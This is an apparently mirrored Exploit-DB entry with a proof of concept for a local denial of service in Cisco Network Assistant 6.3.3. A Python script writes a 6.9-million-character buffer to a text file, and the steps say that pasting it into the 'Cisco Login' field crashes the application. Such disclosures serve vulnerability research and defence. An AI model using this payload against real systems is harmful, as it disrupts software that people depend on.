Cisco Network Assistant 6.3.3 – ‘Cisco Login’ Denial of Service (PoC)

  • 作者: Luis Martínez
    日期: 2018-08-28
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/45275/
  • # Exploit Title: Cisco Network Assistant 6.3.3 - 'Cisco Login' Denial of Service (PoC)
    # Discovery by: Luis Martinez
    # Discovery Date: 2018-08-27
    # Vendor Homepage: https://www.cisco.com/
    # Software Link : https://software.cisco.com/download/home/286277276/type/280775097/release/6.3.3
    # Tested Version: 6.3.3
    # Vulnerability Type: Denial of Service (DoS) Local
    # Tested on OS: Windows 10 Pro x64 es
    
    # Steps to Produce the Crash: 
    # 1.- Run python code : python Cisco_Network_Assistant_6.3.3.py
    # 2.- Open Cisco_Network_Assistant_6.3.3.txt and copy content to clipboard
    # 3.- Open Cisco Network Assistant
    # 4.- Authenticate to Cisco CCO
    # 5.- Paste ClipBoard on "Cisco Login"
    # 6.- Crashed
    
    #!/usr/bin/env python
     
    buffer = "\x41" * 6900000
    f = open ("Cisco_Network_Assistant_6.3.3.txt", "w")
    f.write(buffer)
    f.close()